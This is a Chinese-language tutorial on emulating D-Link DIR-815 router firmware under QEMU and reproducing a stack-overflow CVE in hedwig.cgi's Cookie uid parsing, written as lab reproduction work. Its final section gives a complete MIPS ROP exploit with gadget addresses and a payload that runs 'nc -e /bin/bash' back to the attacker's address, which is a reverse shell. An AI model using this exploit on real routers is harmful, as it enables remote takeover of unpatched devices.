DIR-815 固件模拟以及CVE复现
字数 1425 2025-08-06 18:07:37
DIR-815 固件模拟及CVE复现教学文档
0x00 前言
本教学文档详细讲解DIR-815路由器固件的模拟过程以及CVE漏洞复现方法,重点包括:
- 固件解包与分析
- 系统级固件模拟环境搭建
- 漏洞静态分析
- 动态调试技术
- ROP链构造与利用
固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
漏洞描述:DIR-815 cgibi中hedwig_cgi函数处理HTTP头中Cookie字段uid值时存在栈溢出漏洞。
0x01 固件解包
解包工具准备
- 安装binwalk:
sudo apt-get install binwalk - 安装sasquatch解决squashfs解包问题:
sudo apt-get install sasquatch
解包过程
binwalk -Me DIR-815_FIRMWARE_1.01.ZIP
解包后得到文件系统目录squashfs-root
0x02 系统级固件模拟
环境准备
-
下载MIPS小端架构内核和文件系统:
- vmlinux-3.2.0-4-4kc-malta
- debian_squeeze_mipsel_standard.qcow2
-
启动QEMU系统模拟:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
网络配置
主机配置脚本(保存为network.sh):
#!/bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
虚拟机配置:
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
安全配置
关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
0x03 服务配置与启动
配置文件准备
创建conf文件(放在squashfs-root目录下):
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log
Tuning {
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control {
Types {
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream
Specials {
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External {
/usr/sbin/phpcgi { php }
}
}
}
Server {
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0
Address 192.168.100.2
Port "4321"
Virtual {
AnyHost
Control {
Alias /
Location /htdocs/web
IndexNames { index.php }
External {
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control {
Alias /HNAP1
Location /htdocs/HNAP1
External {
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
启动脚本
创建start.sh:
#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
环境变量设置
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
0x04 漏洞静态分析
漏洞定位
漏洞存在于/htdocs/web/hedwig.cgi(实际为cgibin文件的符号链接)的hedwigci_main函数中。
漏洞分析流程
hedwigci_main函数获取Request Method,限制为POST请求- 调用
cgibin_parse_request解析请求数据包 - 关键漏洞点:
sess_get_uid函数获取HTTP_COOKIE中uid值- 通过
sobj_get_string验证后传递给sprintf - 未对uid长度进行检查导致栈溢出
sess_get_uid函数分析
- 获取HTTP_COOKIE值
- 循环处理cookie字符串:
- 查找分号(;)作为结束标志
- 查找等号(=)作为键值分隔符
- 验证键名为"uid"后提取值
- 返回uid值给调用者
0x05 动态调试
调试环境准备
- 安装gdb-multiarch:
sudo apt-get install gdb-multiarch
- 配置pwndbg插件
偏移量确定
- 生成测试字符串:
from pwn import *
cyclic(2000)
- 使用测试脚本
test.sh:
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'XXXXXXXXXXXXXXXXXXXX'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | ./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
- 通过崩溃地址计算偏移:
cyclic -l 0x646b6161
验证偏移
使用精确测试脚本:
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | ./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
0x06 ROP链构造
关键地址
- 基地址:0x77f34000
- system地址:0x00053200(libuClibc-0.9.30.1.so)
- Gadgets:
- gadget1: 0x158c8 (
addiu $s0,1) - gadget2: 0x159cc(参数传递与跳转)
- gadget1: 0x158c8 (
构造要点
- 避免NULL字节:使用system-1地址
- 寄存器布局:
- $s0: system-1地址
- $s5: gadget2地址
- $ra: gadget1地址
- 命令位置:返回地址后0x10字节处
完整EXP
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200 - 1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr+gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context", 'wb')
f.write(padding)
f.close()
利用脚本
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | /htdocs/web/hedwig.cgi